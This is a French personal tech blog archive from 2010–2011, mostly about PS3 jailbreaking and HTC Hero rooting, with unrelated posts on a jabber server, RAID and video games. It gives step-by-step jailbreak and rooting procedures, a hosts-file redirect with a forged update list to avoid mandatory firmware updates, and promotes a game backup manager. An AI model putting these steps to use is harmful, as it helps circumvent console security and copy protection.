Eet – 1.4.0
Evas – 1.0.0
Ecore – 1.0.0
Embryo – 1.0.0
Edje – 1.0.0
E_Dbus – 1.0.0
Efreet – 1.0.0
Eeze – 1.0.0

Je vous renvoie à la bonne dépèche de Cedric Bail sur DLFP sur le sujet.

Le serveur jabber n’est pas d’humeur

Tue, 01 Feb 2011 03:55:36 +0000

Certains d’entre vous ont peu constater qu’il n’était pas possible de publier son humeur/activité via l’extension PEP. Ce problème est survenu lors de la dernière mise à jour du serveur. Un bug dans le code de migration de la base de données a introduit un problème d’autorisation de publication des comptes sur Pubsub.

Le problème est réglé depuis quelques minutes. Vous pouvez désormais afficher ces informations vitales que sont votre humeur et votre activité.

Pour ceux ne savent pas, l’inscription est toujours libre sur le serveur jabber, La passerelle MSN est toujours utilisable ainsi que le module webprésence pour afficher son statut sur le web (cf en haut à droite sur ce site)

le jailbreak de geohot du firmware 3.55 disponible ! [UPDATE]

Sun, 09 Jan 2011 05:47:57 +0000

C’est un évènement dans la communauté du hack ps3. Suite a la démonstration en vidéo postée par Geohot hier, les fichiers utilisés sont mise à disposition de tous.

Un jailbreak qui permet d’ouvrir le firmware 3.55 et le premier hombrew signé grâce au travail effectué pour calculer les clefs de chaque firmware. Notez que les anciens homebrows (non signés) ne fonctionneront pas sur ce firmware, les homebrews necessiteront d’être tous signés, les outils necessaires à cela seront disponibles bientot.

Le jailbreak est un patch du nas_plugin qui désactive la vérification de la signature des paquets à l’installation. Le cryptage de ceux ci est néanmoins toujours necessaire.

Ci dessous les nouvelles sur le site de geothot:

it’s jailbreak time
open the zip, you know how to install
[…]
here is the package from the video

no donations accepted right now, don’t get scammed

La scène avance vite, mais la realease des outils reste maitrisée par tous ceux qui travaillent dessus pour éviter une débandade totale. Une saine volonté de la scène de ne pas jouer le parasitoïde. Inutile de couper la branche sur laquelle nous sommes assis.

Ci dessous le EULA du CFW de geohot, just for the lulz:

geohot jailbreak license agreement
January 8, 2011
PLEASE CLICK OK AND DON’T READ THIS CAUSE IT’S BORING;
BUT SERIOUSLY IF YOU BRICK YOUR SYSTEM, IT’S NOT MY FAULT.
NO WARRANTY EITHER EXPRESSED OR IMPLIED
This Agreement is a joke. This Agreement applies to leet jailbreaks.

1. LICENSE GRANT
(Insert legal mumbo jumbo and lawyer joke here)
2. RESTRICTIONS
This removes them.
3. PIRACY
Is boring. Basically it’s doing what the system can already do. Fortunately this jailbreak doesn’t allow piracy
3. PUPPIES
Not to be confused with PUPs
4. PATCHING LV2
omg omg omg omg no
5. CROSS GAME CHAT

You can write it now
c2011 geohot. All rights reserved

Ci dessous, la vidéo présentée par geohot hier.

update 1:
Sur certaines ps3, il y a une erreur 8002fb27 ‘data corrupted’ au lancement du jailbreak de geohot. Celui a annoncé travailler sur ce problème. stay tuned 🙂

update 2:
L’erreur mentionée ci dessous vient du fait que le PUP de Geohot ne gère que le langage anglais. Les consoles dans une autre langue remontent l’erreur 8002fb27. Il est en train de regler le problème et je vous invite a regarder les mise à jour sur son site.

fail0verflow démontre l'epic fail de sony et ouvre son dépôt GIT

Sun, 02 Jan 2011 22:55:30 +0000

Nous avions terminé l’année avec une conférence sur la sécurité de la ps3 lors du 27C3 de Berlin. En particulier, Marcan nous apprend comment lui et ses collègues de fail0verflow ont pu calculer sans effort la clef de signature utilisée par Sony sur ses binaires.

Ci dessous les 3 parties de la conférences et la démonstration technique d’une ps3 slim faisant tourner Linux. L’introduction de la conférence est importante car le travail de cette nouvelle team est remise dans son contexte. Pour résumer, le travail de hack de la ps3 n’a commencé qu’une fois la possibilité d’installer Linux sur la ps3 via OtherOS retirée unilatéralement pour des raisons de « sécurité ».

Marcan a indiqué que les outils seraient rendus disponibles courant janvier mais surprise, le git est déjà ouvert !

Ces découvertes mettent vraiment à nue la ps3, bien plus que ne l’ont fait les dongles vendus à prix d’or jusqu’a présent. Geohot a refait surface et sort un dePKG, cet outil permet de décortiquer les fichiers .PUP de firmware. Ce dynamisme nous permet d’espérer pouvoir faire tourner linux sur tous les modèles de ps3 avec ou sans l’accord de sony 🙂

CoD black ops 1.4 et jailbreak ps3

Sat, 18 Dec 2010 05:08:36 +0000

Le nouveau patch 1.4 pour Call of duty sensé regler des problèmes de jeux en ligne ajoute également une vérification du firmware de la console et demande à passer sur la version 3.50 pour utiliser le jeu.

Soyez vigilants et ne faites pas cette mise à jour, si c’est déjà le cas il suffit de supprimer les données de jeu depuis le XMB pour revenir à la version 1.0.

Mise à jour de PSFmod pour téléphones android

Thu, 16 Dec 2010 01:13:11 +0000

C’est sur le site de klutsh qu’est parrue il y a quelques jours la mise à jour de son mod de la rom recovery clockwork permettant le jailbreak de ps3 en firmware 3.5 et le downgrade des console en firmware 3.42 ou 3.50.

Cette rom de recovery permet également de charger des fichiers HEX.

Les roms sont disponibles pour plusieurs modèles dont le desire gsm et hero gsm. La manip est simple, un petit flash_image recovery /sdcard/recovery.img suffit.

Downgrader la playstation 3 avec firmware 3.50

Tue, 07 Dec 2010 20:42:09 +0000

Après que quelques team aient publié leur downgrade pour la PS3, c’est au tour de ps3key de sortir les firmware nécessaires au downgrade des consoles en firmware 3.50 ou 3.42.
Le downgrade permet d’installer un firmware 3.31 qui permet le jailbreak via les méthodes habituelles.

Au cas où les serveurs de la team soient surchargés, vous pouvez télécharger le firmware directement ici.

root du HTC Desire Orange

Tue, 09 Nov 2010 15:47:22 +0000

Rooter un HTC desire n’a rien d’amusant, c’est même trop facile. Il suffit d’aller sur le site d’unrevoked, de cliquer sur son modèle de téléphone et de télécharger l’application. La version windows est buguée, préferez utiliser les versions linux ou mac.

Apres quelques minutes la ROM de recovery est flashée avec une clockworkmod. Il n’y a plus qu’à installer sa custom ROM favorite soit par l’application ROM manager du market soit par la recovery directement.

Bref, même pas marrant.

Et hop, exit les applications et les bookmark préinstallés par orange, quand ce n’est pas une application essentielle (Gtalk) qui est tout simplement supprimée sur leur ROM.
Ouf de l’air.

ps3key et quelques news du psjailbreak

Tue, 12 Oct 2010 16:14:57 +0000

C’est avec pas mal de retard que je post ici mes impressions sur la ps3key.
La ps3key est le clone PSjailbreak de la team WiiKey.
Cette clef est fournie avec un numéro de série qui vous permet de télécharger l’outil de mise à jour et les nouveaux firmwares sur le site officiel ps3key

Le principe de fonctionnement est toujours le même:

Branchement de la clef
Coupure éléctrique de la console
Allumage de la console avec un appui rapide de « power » puis « eject »

3 bips se font entendre. La ps3key clignote puis la diode bleu s’allume.

Ensuite, comme d’habitude il y le nouveau menu qui permet d’installer des .pkg non signés depuis une clef USB quelconque.

Les applications principales à l’heure actuelle sont un gestionnaire de fichier, un serveur ftp, le backup manager qui permet de sauvegarder ses jeux sur le disque interne ou sur un disque externe USB, il y a aussi un émulateur super NES et quelques projets de jeux homebrew qui démarrent.

Actuellement SONY fait la guerre au PSjailbreak et à tous ses clones et il est de plus en plus difficile de s’en procurer. Il reste la solution des clefs USB à base de chipset ATMEL qui sont programmables avec les firmware HEX fourni par les différentes team de la scène ou les différentes méthodes à base de téléphone ou de calculatrice.

Une nouvelle version du backup manager devrait sortir à la fin du mois, peu d’informations sont disponibles à l’heure actuelle. Il se pourrait que cette nouvelle version permette une meilleure compatibilité avec les jeux aunsi qu’une vitesse de rip améliorée.

Sony campe sur sa position à propos d’OtherOS

Mon, 20 Sep 2010 00:28:00 +0000

Pas de changement chez SONY. Ils ne comptent visiblement pas revenir sur la suppression de la fonctionalité OtherOS qui permettait de faire tourner Linux (l’accès au matériel etait néanmoins limité) sur sa PS3.

Des actions en justices sont en cours contre SONY a ce propos. La réponse de la société japonaise est visible sur IGN.

Pour rappel, la scene ps3 est en pleine effervescence en ce moment et des travaux sont en cours afin de retrouver cette fonctionalité

Le retour de la faille de l'émulation 32 bits sur Linux64

Mon, 20 Sep 2010 00:17:14 +0000

C’est la revengeance du fils d’une vieille faille qui à été publiée la faille de sécurité référencée CVE-2010-3301 dans l’émutation 32 bits sur les kernel 64 bits. L’exploitation de cette faille permet a un utilisateur local de passer root sur le serveur.

Il s’agit en fait d’une faille déja connue et publiée en 2007 sous la reférence CVE-2007-4573 et corrigée dans le noyau 2.6.22.7. Une régression dans le noyau 2.6.27-rc1 via le commit d4d67150 fait réaparaitre la faille.

Si votre noyau est vulnérable, il est recommandé d’appliquer le patch disponible ou de mettre à jour si votre distribution à déjà mis à disposition un noyau patché.

sources:
Patch 1
Patch 2
Faille rapportée par Ben Hawkes

Il fait moche à Nazareth

Thu, 16 Sep 2010 13:54:27 +0000

Nazareth n’est pas si loin finalement, je suis passé devant par hasard en roulant sur l’autoroute E17. On y passe sans s’arreter, c’est pas très beau et il y fait mauvais temps, jugez vous même:

Bref, une ville vide, seuls quelques arbres et panneau. Faut être con pour aller faire des pelerinages la bas.

Un jour peut être que j’irai verifier ces histoires de petit jésus. En tout cas, s’il est de la bas, il a tout le necessaire: parking, hotel, resto et même une station essence !

ps3key livrées bientôt et quelques news

Wed, 15 Sep 2010 17:12:42 +0000

D’ici quelques jours je devrai recevoir quelques exemplaires de la PS3key. Cette clef USB permet de s’affranchir des manipulation avec un téléphone pour jailbreaker sa PS3.
Ces clefs ont l’avantage de ne pas necessiter de triturer son téléphone mais ont l’inconvénient de rendre l’utilisateur dépendant de la team qui maintient le soft. En effet la réactivité de la team et la fréquence des mises à jour sont des éléments essentiels à l’usage.

Malgrès les gesticulations de SONY auprès des douanes chinoises pour empecher toute exportation de ce type de clef. Des milliers de clones sont deja en production et en cours d’acheminement vers les fournisseurs du monde entier.

Des que je reçoit les clefs, je posterai mes impressions ici.. Stay tuned!

Rappelons que Gehot n’a rien à voir avec les récentes méthodes de jailbreak de PS3. Notre vieil ami n’a réussi qu’a faire du bruit et a pousser SONY à dépouiller sauvagement les PS3 de la fonction OtherOS.

De nouveaux homebrews/applications sont en cours de developpement en ce moment même pour nos cheres ps3, en particulier un explorateur de disque dur prometteur.

La liste de compatibilité des mobiles avec psfreedom s’alonge de jours en jours, n’hesitez pas à y jeter un oeil !

backup manager sur ps3

Tue, 14 Sep 2010 19:48:43 +0000

Et hop! Apres avoir libéré sa PS3 il faut bien en faire quelque chose. Si on commençait par faire quelques backups de jeu?

Il suffit de copier le paquet de backup manager sur une clef USB et de brancher celle ci sur votre PS3. On le retrouve ensuite dans le nouveau menu Install Package Files et on l’installe comme un jeu classique.

Une fois dans backup manager, il suffit de se laisser guider. Il y de toute façon peu d’options disponibles.

Le jeu est detecté à l’insertion du blu-ray et on peut le copier en appuyant sur « O ».

Note: Au lancement d’un backup, Backup Manager a besoin d’un jeu original dans la console quel qu’il soit. Ici j’ai lancé civilization avec Saints Row 2 dans la console.

Du html 5 à voir avec chromium

Tue, 14 Sep 2010 16:33:58 +0000

http://www.thewildernessdowntown.com/

Ce site présente un petit film interactif bien sympatique tout en html5. Il est optimisé pour chrome/chromium donc il est fortement recommandé d’utiliser ce navigateur sous peine de ramage sévère!

Pour rappel, quand je parle de chromium, il ne s’agit pas du jeu d’avion mais de la version open source de chrome, le navigateur internet de google.

psfreedom sur HTC Hero GSM

Tue, 14 Sep 2010 12:34:38 +0000

Voilà c’est fait. Pour les bienheureux qui ont encore le firmware 3.41 sur leur ps3. On peut enfin lancer des homebrew, copier les jeux sur le disque etc.
Et tout cela bien sur avec le HTC hero 🙂
Au préalable, vérifiez votre version de HBOOT. Si vous êtes en version .007 il faut downgrader.

Maintenant, passons aux choses sérieuses et au jailbreak/crack de la PS3 (rayez la mention qui vous gène).
Il faut commencer par télécharger fastboot chez HTC ou ici:
– fasboot pour linux
– psfreedom.ko
– zImage

Ensuite, mettre le psfreedom.ko a la recine de la carte SD.

Puis depuis votre pc préféré:

darkstar:/home/jc/android/sdk# ./fastboot boot zImage
creating boot image...
creating boot image - 2082816 bytes
downloading 'boot.img'... OKAY
booting... OKAY

Dans un terminal sur le téléphone:

$ su -
# insmod /sdcard/psfreedom.ko

(Le texte qui suit décrit la suite de la procédure et est une traduction libre de psfreedom)
Une fois que c’est fait, débranchez votre ps3 et tout ce qui est raccordé a l’USB (sauf le Hero)
Ensuite, appuyez rapidement sur le bouton power puis sur le bouton eject (aussi vite que possible)
Si la manipulation a fonctionné, le démarrage prendra un peu plus de temps qu’à l’habitude
La ps3 démarre et vous devez avoir 2 nouvelles options dans la section jeu du XMB, si c’est le cas, tout s’est bien déroulé et vous pouvez profiter pleinement de votre ps3.

Pour l’installation de backup manager c’est par ici.
Ressources:
http://wiki.psfreedom.com/wiki/HTC_Hero

Note: Si vous mettez à jour la ps3 avec le firmware 3.42 qui corrige la faille utilisée, vous ne pourrez pas faire fonctionner psfreedom.

HTC Hero GSM downgrade hboot

Tue, 14 Sep 2010 12:07:28 +0000

Pour une raison que je détaille dans le post suivant. J’ai eu besoin de downgrader le HBOOT sur mon téléphone qui est en version 1.76.0007. Cette version récente du HBOOT ne permet pas de charger une ROM via fastboot, ça n’empeche pas de rooter son téléphone mais pour d’autres usages c’est problématique 🙂

Je suis tombé sur ce site où est détaillée la procédure de downgrade de la rom ET du hboot.

J’ai extrait le .zip du hboot:
– hboot-1.76.0004

La vie en 8 bits

Mon, 06 Sep 2010 14:49:05 +0000

Juste histoire de partager un de mes bookmark…

Le site 8bitpeople regroupe des artistes de la scène musicale 8 bits.
Ce site titille non seulement la nostalgie mais fait aussi découvrir une autre façon de faire la musique.
Pas mal de belles surprises y sont disponible à l’écoute, allez y faire un tour.

Le raid c'est bien, le hotswap c'est mieux

Thu, 02 Sep 2010 14:53:55 +0000

Cette semaine, un disque de mon serveur à eu la bonne idée de mourir, comme ça, sans crier gare, sans tambours ni trompettes.

1 8 19 1 active sync /dev/sdb3
2 8 3 - faulty spare /dev/sda3

C’est la qu’on regrette de ne pas avoir de disques hotswap :’(. Un reboot sur un dom0, ça fait tout de suite du mal.
Une fois le disque changé, reboot fait et intégration du disque neuf dans le raid. Je me suis dit qu’il serait de bon ton d’avoir un script en crontab qui me tienne au courant par mail de l’état du RAID et SMART des disques.

Ca m’a occupé pendant la reconstruction de RAID qui à pris plus d’une heure. C’est certainement tout vilain pas beau, mais ça fonctionne. Je le met ici pour ceux que ça interesse.

disk_monit.sh

Bientôt la rom custom finale avec android 2.1 pour HTC Hero [update]

Fri, 02 Jul 2010 11:26:51 +0000

Oyé Oyé !

Depuis des semaines et des mois qu’on attendait cette fâmeuse mise à jour des HTC Hero GSM de la part de HTC. C’est maintenant chose faite (depuis un petit moment déjà en Asie).

La mise à jour officielle se fait en OTA (Over The Air), cela concerne uniquement les mobiles qui tournent avec la dernière ROM stock.

En prenant comme base le firmware asiatique, Paul Modaco à commencer à travailler sur une version de sa custom ROM à base d’Android 2.1, ce sont les MC4 jusque la R4. Depuis le 30 Juin est sortie la R5 de MCR4., et ô joie! Elle est basé sur une stock ROM Européenne.

Bien sur il y à toujours le même prérequis, c’est d’avoir un ROM de recovery custom afin de pouvoir afin de mettre à jour la ROM radio et d’installer MCR4.

Actuellement la version R5 est uniquement disponible sur la « online kitchen » reservée aux abonnés du site (9,99 £/an), les versions MCR4 R4 et MCR3.2 à base de sotck ROM 2.73 sont toujours librement disponible pour tout le monde via le forum.
Sur le lien ci dessus, n’oubliez pas de télécharger et d’installer la ROMradio 63.18.55.06PU_6.35.15.11 qui va bien, notez qu’elle est incompatible avec les versions antérieures à Android 2.X.

Normalement aucun wipe n’est requis mais j’ai du y avoir recourt pour faire fonctionner cette ROM en upgradant depuis MCR3.2; les applications htc.bg et htc.launcher plantaient au démarrage. J’ai également dû supprimer le repertoire app-private de la partition ext2 dédiée à APP2SD.

Tout fonctionne bien, y compris en ce qui concerne la ROM radio. Je vais regarder la durée de vie de la batterie, le point commun de toutes les anciennes ROM custom à base d’android, 2.X (dérivées de stock ROM d’autres téléphones) était le suçage de batterie en règle.

APP2SD est disponible sur MCR4 R5, pas de réinstallation des applis nécessaire. La nouvelle ROM apporte son lot de nouveautés comme le nouveau google maps, le client mail à jour, un widget pour latitude, la compatibilité avec Google goggles, Google navigation et d’autre Googleries.

A vous de jouer :p

update:
– reboot brutal dans l’application appareil photo, pas reproduit ensuite

StatusNet et identi.ca, le twitter propre

Mon, 07 Jun 2010 02:07:12 +0000

Je viens de m’apercevoir que je suis über en retard sur tout ce qui concerne la vague web2, la hype attitude ou on share sa life avec sa community.

Twitter, le site de microblogging bien connu à un concurrent qui monte, il s’appelle identi.ca! La où je suis en retard, c’est que ce service à été lancé il y a 2 ans… Les ploucs comme moi peuvent continuer de lire ce billet, les autres peuvent laisser tomber et continuer de contribuer à leur projet préféré :p

On peut trouver sur wikipedia un comparatif des plateformes de microblogging fort intéressant. On y voit entre autre que identi.ca est le seul site à proposer un réel interfaçage avec jabber et ça c’est un très bon point 🙂
On peut poster, suivre des utilisateurs etc, directement depuis son compte jabber, en ajoutant le robot qui va bien dans sa liste d’amis.

Autre avantage d’identi.ca: le site tourne sous StatusNet qui est un logiciel sous licence AGPL qui est librement téléchargeable, installable, modifiable et directement fonctionnel (testé et approuvé) pour ceux qui veulent autoheberger leur plateforme de microblogging.

Le bug du game over

Tue, 25 May 2010 11:30:54 +0000

Je joue en ce moment à Red Dead Redemption, un jeu qui aurait pu être excellent s’il n’était pas truffé de bugs.

J’ai moi même vécu deux expériences qui m’ont pour le moins désappointées.

Avec le jeu, j’ai eu un code qui permet de débloquer les missions permettant d’obtenir la tenue d’assassin. A ma seconde partie, je décide d’entrer ce code.

Petite surprise au déballage, la grosse faute sur le carton.. dire que ça se vend 30$ sur ebay 🙂

Parmi les missions, il faut tuer ou capturer un certain « Mo van Baar », manque de bol, j’ai déjà capturé cet homme lors de ma première partie en tant que chasseur de prime.. la mission n’est pas complétée, impossible d’avoir la tenue.

Je ne me suis pas formalisé sur ce bug étant donné que ce costume n’est pas important pour le déroulement de l’histoire et n’aurait rien apporté au plaisir du jeu.

Le second bug est pour le moins gênant (Attention ça spoil méchant).

Vers la fin du jeu, on rattrape Williamson et Allende. Il faut achever Williamson et Reyes notre comparse s’occupe d’Allende.
Premier essai, Reyes ne tire par sur Allende, celui ci s’échappe et je n’ai pas moyen de l’abattre, mon perso ne peut pas bouger, je peux seulement tirer.
A ce moment, je recharge la derniere sauvegarde, le personnage avance tout seul… J’abandonne.

Deuxième essai, je tue Williamson, Reyes tue Allende… soulagement… ou pas. Le jeu est de nouveau bloqué.

Je ne parle bien sur pas des bugs connus de la charrette volante, des ennemis qui se promènent sous la carte, des consoles qui freezent etc.
Ce jeu est très immersif, l’histoire est bonne, les personnages intéressants, mais ce florilège de bugs suffisamment importants pour pouvoir être décelés en QA me choque.
Le « jeu de l’année » fourmille de bugs, certains impactant réellement le plaisir de jeu, ou même empêchent la progression de l’histoire..

Un jeu qui a été sorti sans être terminé, comme d’habitude, le client doit attendre un patch bien sagement sans aucune information de la part de l’éditeur.

Ironie quand tu nous tiens

Fri, 14 May 2010 20:28:52 +0000

Que de souvenirs… les releases de NOCD et autre crack/patch dont le disclaimer etait frappé du logo MYTH bien connu, ASCII art de rigueur. C’est au tour des studios de developpement d’utiliser le boulot de la team MYTH pour adapter leurs jeux a steam.

Ils sont visiblement plus apte a coller des DRM et des protections CD jusqu’a l’os qu’a les retirer pour continuer de vendre leurs propres produits.

Mise à jour du serveur jabber

Fri, 09 Apr 2010 15:51:20 +0000

Le serveur a subit quelques arrêt/relance cet après midi pour cause de mise à jour.

Pour ceux qui utilisent webpresence, il suffit de se réinscrire dessus, la méthode est expliquée ici.

Le custom firmware 3.21 pour ps3 est presque prêt

Wed, 07 Apr 2010 20:59:14 +0000

Pas besoin de long discours:

D’après son blog, Geohot à réussi à conserver la fonction OtherOS sur le firmware 3.21. Il ne donne pas de date pour fournir son CFW pour l’instant et il recommande toujours de rester en 3.15 comme indiqué ici.

Pour le moment, il n’est pas possible de savoir si ce firmware est un CFW installable sur toutes les consoles ou un hack du thème du XMB comme il l’a fait quelques semaines auparavant.

Le petit mot doux pour sony pour cloturer ses posts devient une habitude:

Note to the people who removed OtherOS, you are potentially turning 100000+ legit users into « hackers. »

Contourner l'installation du firmware PS3 3.21 et rester en 3.15 [update]

Sat, 03 Apr 2010 11:01:19 +0000

Ce billet fait suite à celui ci.

J’ai décidé d’attendre de voir ce que donne le travail de Geohot sur le CFW 3.21, or il est indispensable de mettre à jour la console pour se connecter au Playstation Network.

Méthode de contournement:
Voici la requête que fait la PS3 à la connexion:
GET http://feu01.ps3.update.playstation.net/update/ps3/list/eu/ps3-updatelist.txt

Et le contenu du fichier:

# EU
Dest=85;CompatibleSystemSoftwareVersion=3.2100-;
Dest=85;ImageVersion=0000a20e;SystemSoftwareVersion=3.2100;CDN=http://deu01.ps3.update.playstation.net/update/ps3/image/eu/2010_0401_3a08ef6164a7770ae3e7d5b9f366437a/PS3UPDAT.PUP;CDN_Timeout=30;

Ce fichier indique la dernière version du firmware et un endroit pour le télécharger, on va « proxyfier » la requête pour fournir des informations plus en accord avec le firmware qu’on souhaite garder.
J’ai utiliser le proxy squid sous linux mais on peut aussi utiliser tinyproxy ou autre chose, peu importe.

Dans squid, ne pas oublier d’autoriser l’ip de la PS3, vu que celle ci ne sait pas s’identifier sur un proxy, on a pas le choix de la méthode.

acl localnet src 10.0.0.0/8 # RFC1918 possible internal network
http_access allow localnet

Dans tinyproxy c’est une directive allow de mémoire.

Ensuite on modifie l’/etc/host pour forcer la résolution des serveurs de sony sur un serveur sur lequel on a la main.

87.98.160.160 fuk01.ps3.update.playstation.net
87.98.160.160 duk01.ps3.update.playstation.net
87.98.160.160 fus01.ps3.update.playstation.net
87.98.160.160 fjp01.ps3.update.playstation.net
87.98.160.160 feu01.ps3.update.playstation.net
87.98.160.160 fkr01.ps3.update.playstation.net
87.98.160.160 fmx01.ps3.update.playstation.net
87.98.160.160 fau01.ps3.update.playstation.net
87.98.160.160 fsa01.ps3.update.playstation.net
87.98.160.160 ftw01.ps3.update.playstation.net
87.98.160.160 fru01.ps3.update.playstation.net
87.98.160.160 fcn01.ps3.update.playstation.net
87.98.160.160 dus01.ps3.update.playstation.net
87.98.160.160 djp01.ps3.update.playstation.net
87.98.160.160 deu01.ps3.update.playstation.net
87.98.160.160 dkr01.ps3.update.playstation.net
87.98.160.160 dmx01.ps3.update.playstation.net
87.98.160.160 dau01.ps3.update.playstation.net
87.98.160.160 dsa01.ps3.update.playstation.net
87.98.160.160 dtw01.ps3.update.playstation.net
87.98.160.160 dru01.ps3.update.playstation.net
87.98.160.160 dcn01.ps3.update.playstation.net

Ensuite, il faut servir le fichier ps3-updatelist.txt sur notre serveur web sous l’arborescence /update/ps3/list/eu/
Le fichier doit contenir les informations suivantes:

# EU
Dest=85;CompatibleSystemSoftwareVersion=3.1500-;
Dest=85;ImageVersion=0000948f;SystemSoftwareVersion=3.1500;CDN=http://deu01.ps3.update.playstation.net/update/ps3/image/eu/2009_1210_54ee80e14e479f8351a988eb9a472072/PS3UPDAT.PUP;CDN_Timeout=30;

Conclusion, la ps3 fait sa requête pour obtenir ps3-updatelist.txt, le proxy l’envoie sur un serveur web connu qui lui sert le fichier correspondant au firmware 3.15 et non 3.21. La console n’est pas mise à jour et se connecte à internet et au PSN.

L’IP fournie au dessus est celle du serveur web sur lequel est hebergé ce site, le fichier ps3-updatelist.txt n’y est présent que pour l’Europe.
Pour le moment je ne prévois de l’utiliser que pour moi donc c’est susceptible de ne plus fonctionner à tout moment, je vous suggère d’utiliser votre propre serveur web ou de me prévenir pour que je laisse tout ca en place le temps qu’il faudra 🙂

Description du fichier ps3-updatelist.txt

UPDATE: Cette méthode ne fonctionne plus, sony bloque malgres tout l’acces au Playstation Network aux machines qui ne sont pas dans la derniere version du firmware. Il faudra faire le choix de se passer de PSN en attendant du neuf ou de mettre à jour et dire adieux à OtherOS.

SONY retire la fonction OtherOS de la PS3 via le firmware 3.21

Fri, 02 Apr 2010 14:47:51 +0000

Les mises à jour de firmware sont habituelles pour nombre d’entre nous.
On sait qu’une mise à jour peut corriger des bugs, combler des failles de sécurité ou encore ajouté de nouvelles fonctionnalités.

Maintenant, nous avons la mise à jour qui supprime des fonctions! Merci SONY!

Quand la playstation 3 est sortie, elle avait 4 ports USB, on pouvait faire tourner des jeux ps2, lire des cartes SD, on installer linux dessus via la fonction OtherOS etc.
Au fur et à mesure des mises à jour materielles et des baisses de prix, nous avons perdu 2 ports USB, la rétrocompatibilité et le lecteur de carte SD. Rien de choquant jusque la vu que ce sont de nouveaux modèles qui sont vendus.

La où ça commence à piquer, c’est quand ce jeudi 1er avril, SONY nous fait la bonne blague de sortir un nouveau firmware qui retire la fonction OtherOS à toutes les PS3 qui l’avait.
Plutôt drôle non? Imaginons Apple retirer la fonction SMS de ses téléphones via une mise à jour de firmware…

Passons sur le fait que les mises à jour de firmware s’accumulent et que le cross game chat n’est toujours pas en vue, le navigateur web n’est toujours pas amélioré, et plus généralement les doléances des utilisateurs déposées sur le site dédié ne sont pas prises en compte.

Bien que la fonction OtherOS n’ai jamais été mise réellement en avant par SONY, elle a contribué à l’adoption du CELL et de la PS3 dans les milieux des scientifiques et des technofiles pour deux produits en mal de public.
L’objectif est réussi, la PS3 est sur de bons rails depuis quelques mois, ce levier est devenu dispensable.

Néanmoins, monsieur SONY est magnanime et nous permet de ne pas installer cette mise à jour, grand seigneur! Cependant, ne pas mettre à jour avec le firmware 3.21 signifie ne plus se connecter aux services en ligne de SONY.

La raison de cette mise à jour est simple et fait réponse aux travaux de Geohot. Le hacker s’est penché il y à quelques temps sur la console de SONY et à eu un accès complet au hardware et à l’hyperviseur.
Solution retenue par SONY, on retire la fonction OtherOS 🙂

Le principe est tout bonnement dénué de bon sens et est proprement scandaleux. Le retrait de fonctionnalité sur un hardware deja vendu est difficile à accepter.

Suite à cette décision de SONY, les travaux de GeoHot vont se focaliser sur une méthode qui permettrait de mettre à jour le firmware en conservant la fonction OtherOS selon son dernier billet. D’ici la il nous recommande de ne pas mettre à jour.

Réaction démesurée de SONY qui ne fait que rendre le challenge plus intéressant. D’ailleurs, on peut lire sur le blog de Geohot:

I never intended to touch CFW, but if that’s how you want to play…

Annonce de sony
Blog de Geohot

Test de la ROM radio “63.18.55.06JU_6.35.09.26″ sur le HTC HERO [update]

Wed, 31 Mar 2010 09:54:14 +0000

Hier j’ai mis a jour la ROM radio de mon HTC hero.
Je suis passé de la version 63.18.55.06EU_6.35.06.18 qui était celle livrée avec le téléphone à 63.18.55.06JU_6.35.09.26.

Sur un trajet d’1h30 de RER/tramway où j’écoute de la musique et lis les news via les applications de l’android market je consomme habituellement environ 40% de la batterie avec la 3G active et environ 20% sans la 3G.
Avec le nouveau baseband, sur le même trajet avec les même tunnels et la même utilisation, je n’ai consommé que 25% avec la 3G active 🙂

Le wifi me semble légèrement plus rapide à se connecter.

J’éditerai ce billet quand j’aurai testé le temps de fix du GPS.

update:

A la première installation, le GPS ne fonctionnait pas. J’ai réinstallé la version livrée avec mon téléphone, activé le GPS et remis la nouvelle version.. depuis ça fonctionne. le temps de fix est clairement plus court maintenant.

Flash du htc hero FR chez orange

Tue, 30 Mar 2010 17:56:37 +0000

Merci aux amis des sites nolifeclub et geeksleague de ne pas hotlinker sauvagement les ressources hebergées sur ce site. C’est la raison pour laquelle leur lien est redirigé sur cette page. Merci 🙂

Ça fait deux fois que je dois flasher la recovery d’un htc hero, et comme j’oublie à chaque fois, j’en profite pour noter la procédure ici (c’est un peu plus compliqué qu’à l’habitude avec les téléphones orange):

Installer le SDK d’android

http://developer.android.com/sdk/index.html

$ adb shell
$ cat /sys/class/mmc_host/mmc1/mmc1:*/cid

Coller le code précédent sur http://hexrev.soaa.me/ pour recuperer le code reversed. Remplacer les deux premiers chiffres par 0 sur le code obtenu
– Sur http://revskills.de/pages/goldcard.html tout renseigner pour recevoir la goldcard.img par email
– Installer un éditeur héxadécimal ( sous windows HxD Hex Editor)
– Monter la carte SD
– Dans le menu de Hex Editor: extra -> Open Disk -> « Physical Disk » -> « Removable Disk », décocher “Open as ReadOnly” (Size 512 (Hard Disks/Floppy Disks))
– Dans le menu de Hex Editor: extra -> Open Disk Image -> goldcard.img
– Dans l’onglet de Goldcard.img (ctrl+A et ctrl+C)
– Dans l’onglet du Removable Disk, selectionner les lignes jusque 00000170 et ctrl+V
– SAVE et reboot du hero

Downgrade de la ROM

– Recuperer la derniere version de HTC sync
– Brancher le telephone et activer la synchro pc
– Télécharger un firmware générique
– le downgrade est en cours.
Des ROM plus anciennes existent mais elles ne sont pas passées sur mon telephone.

IV. Flash de la ROM de recovery

– Télécharger flashrec
– Télécharger une ROM de recovery patchée (j’ai pris celle la)
– Backup+flash de la ROM avec flashrec (/sdcard/nomdelaROM.img)

Des versions plus récente de flashrec existent mais n’ont pas fonctionnées sur mon téléphone.

V. remplacement de la ROM/baseband

– maniere habituelle (update.zip à la racine de la microSD) via la ROM de recovery en appuyant sur les boutons « home » et « power »

Liens:

Forum de xda-developers
Les ROM radio dispo chez modaco
La ROM de modaco pour le hero
Flashrec

Voila 🙂

Mise à jour du dom0

Tue, 02 Mar 2010 22:04:25 +0000

Et hop, une petite mise a jour du dom0. Ca à entrainé une coupure de toutes les machines pendant plusieurs heures (surtout le temps de la sauvegarde/restauration des VM).

Tout est vite reparti, ca fait partie des joies de la virtualisation 🙂

Du boulot! plein! mais quelques bricoles quand même :p

Mon, 15 Feb 2010 23:37:20 +0000

Fini les vacances et nouveau job en vue. Je suis pas mal occupé en ce moment. Le projet sur lequel je bosse va occuper mes journées pendant de longs mois.

Néanmoins je ne suis pas loin (mon status jabber est à droite :p), quand j’aurai un moment je publierai la méthode que j’ai utilisée pour rooter mon htc hero avec le ROM orange.

